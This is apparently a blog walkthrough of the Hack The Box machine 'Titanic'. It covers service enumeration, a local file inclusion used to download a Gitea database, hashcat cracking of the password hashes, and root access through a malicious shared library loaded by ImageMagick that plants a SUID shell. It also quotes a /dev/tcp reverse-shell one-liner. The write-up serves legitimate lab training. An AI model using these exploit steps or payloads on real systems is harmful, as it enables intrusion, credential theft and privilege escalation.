This is an easy HTB machine, however I did not find it so obvious to figure out which files from gitea to search for, and the privilege escalation part was also something to think about.

Scanning Link to heading

We start with an aggressive nmap scan:

nmap -A -p 10.10.11.55 -oN aggressive_titanic.nmap
# Nmap 7.97 scan initiated Fri Aug  1 16:48:28 2025 as: nmap -A -p22,80 -oN aggressive_titanic.nmap 10.10.11.55
Nmap scan report for titanic.htb (10.10.11.55)
Host is up (0.083s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/3.0.3 Python/3.10.12
|_http-title: Titanic - Book Your Ship Trip
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug  1 16:48:38 2025 -- 1 IP address (1 host up) scanned in 9.94 seconds

Which reveals two services running on the target. We also run a full-port scan which does not reveal any non-standard ports.

Neither the SSH or the Python/Flask services appear to be vulnerable to common vulnerabilities therefore let’s move on.

Web Enumeration Link to heading

Subdomain Enumeration Link to heading

We enumerate subdomains with the following command:

ffuf -w /usr/local/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://titanic.htb -H "Host: FUZZ.titanic.htb" -fc 301

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb
 :: Wordlist         : FUZZ: /usr/local/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.titanic.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 91ms]
:: Progress: [19966/19966] :: Job [1/1] :: 479 req/sec :: Duration: [0:00:42] :: Errors: 0 ::

We find the “dev” subdomain.

We can map these websites with the gowitness tool:

echo "titanic.htb\ndev.titanic.htb" > subdomains.txt
gowitness scan file -f subdomains.txt --write-db
gowitness report server

Exploitation Link to heading

dev.titanic.htb Link to heading

The Gitea service allows registration and gives the right to explore all its projects:

That is already quite a big security flaw and can be added to our findings.

In the docker-config repo, we see two configuration files wich reveal interesting infos:

version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

Which reveals that there is a an interesting folder in the developer user’s home folder, and:

version: '3.8'

services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets 
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always

Which reveals plain-text credentials.

We can use the Gitea configuration file to build the application and see if there are any interesting files.

We learn that there is a /gitea/gitea.db file in the build folder which might contain some interesting information like credentials.

Therefore, we can assume that there is a /home/developer/gitea/data/gitea/gitea.db file which might be interesting.

titanic.htb Link to heading

Scanning the http://titanic.htb domain with the ZAP scanner, we see that the website has a Local File Inclusion vulnerability at the endpoint /download?ticket= :

curl http://titanic.htb/download?ticket=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

We can add that to our findings.

Let’s download the gitea.db file:

curl "http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db" --output gitea.db

We can use sqlitebrowser to read the database:

sqlitebrowser gitea.db

We find the user table which contains very interesting fields, notably the passwd and passwd_hash_algo columns, listing the different users of the service (the someone user was created by myself). There is also the rands and salt columns.

This is very interesting because we might be facing some kind of password hashes that we could crack.

Searching the for the content of the field: passwd_hash_algo we see that it refers to the PBKDF2-HMAC-SHA256 commonly used by gitea. This has a match in the hashcat table:

10900 | PBKDF2-HMAC-SHA256 | sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt 

We see that the hash, here, is much different from the one we have in the columns. Searching some more, we encounter this program which translates gitea database entries into hashcat-readable hashes. Let’s run it on our database:

python3 giteatohashcat.py gitea.db
[+] Extracting password hashes...
[+] Extraction complete. Output:
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
someone:sha256:50000:7xDOYU23qM9rXrZ9J+uQ5A==:lewZafDAXhRy47eoqfPIjtNxpNDtgB3wJjGJSNjBW63XGysHqCkKccrtKoedA0Qn6Bw=

The output is indeed in the hashcat format shown on the website.

Let’s save these hashes in a hashes file:

administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

Let’s crack the administrator and developer hashes. Since we pre-pended the usernames, we need to specify to hashcat the option --username:

hashcat -m 10900 hashes $(locate rockyou.txt) --username

And read the results:

hashcat -m 10900 hashes --show --username
Mixing --show with --username or --dynamic-x can cause exponential delay in output.

developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528

We now have full credentials for the developer user: developer:25282528.

Foothold and post-exploitation Link to heading

We can connect to the target and read the user flag:

ssh developer@titanic.htb
cat user.txt
0855d792xxxxxxfbcb0aef242b29759

First thing on the list, we upload the LinEnum.sh executable, and start enumerating the parameters of the target.

We also upload the pspy executable to check for cron jobs:

./pspy64 -pf -i 1000

And we see the file:

2025/08/13 16:59:01 FS:                 OPEN | /opt/scripts/identify_images.sh
2025/08/13 16:59:01 FS:               ACCESS | /opt/scripts/identify_images.sh

The file /opt/scripts/identify_images.sh seems to be executed periodically.

Opening it we see:

developer@titanic:~$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

This seems to be the ImageMagick software. This software can even be run:

developer@titanic:~$ /usr/bin/magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

So we’ve found that a command using the version 7.1.1-35 of the ImageMagick software is executed periodically. Let’s see if that software is vulnerable.

This version 7.1.1-35 is vulnerable to this exploit. Reading the commit, we see that it contains a Proof of Concept (PoC) which we can probably use in our case.

Privilege Escalation Link to heading

Let’s execute the exploit to gain root privileges.

The concept is to write a C dependency program:

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
    system("id");
    exit(0);
}
EOF

Which will be executed by the ImageMagick software. Note the system command that we run:

<SNIP>
system("id");
<SNIP>

At first, I thought to replace it with a reverse shell:

bash -i >& /dev/tcp/10.10.14.15/1111 0>&1

But it did not work. I tried other commands in vain and, out of ideas, I used the official write-up’s solution:

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /bin/sh /tmp && chmod u+s /tmp/sh");
exit(0);
}
EOF

The idea is to copy the /bin/sh which points to whatever the default shell script is (dash, bash, zsh etc.) and put it in a file where our current user (e.g developer) can execute it. Also, we would like to set its SUID so even though we run it as developer, it will run as root.

Now, at some point, the magick software gets run, the library we wrote gets loaded and executed, and the /bin/sh software with SUID gets copied to the /tmp directory.

developer@titanic:/tmp$ ls
sh
snap-private-tmp
ssh_client_ip_developer
systemd-private-00b62f8bf22344989c3ff17475ce13b9-apache2.service-IMrYW2
systemd-private-00b62f8bf22344989c3ff17475ce13b9-ModemManager.service-gZTlxG
systemd-private-00b62f8bf22344989c3ff17475ce13b9-systemd-logind.service-D7LWMC
systemd-private-00b62f8bf22344989c3ff17475ce13b9-systemd-resolved.service-sWHW8k
systemd-private-00b62f8bf22344989c3ff17475ce13b9-systemd-timesyncd.service-D8Q8Wi
vmware-root_618-2697467179

We simply run the shell without dropping privileges:

developer@titanic:/tmp$ /tmp/sh -p 
$ id
uid=1000(developer) gid=1000(developer) euid=0(root) groups=1000(developer)
$ cat /root/root.txt
729eebdxxxxxxxxxxfcb646ed0b3f5d6

And there we got the flag!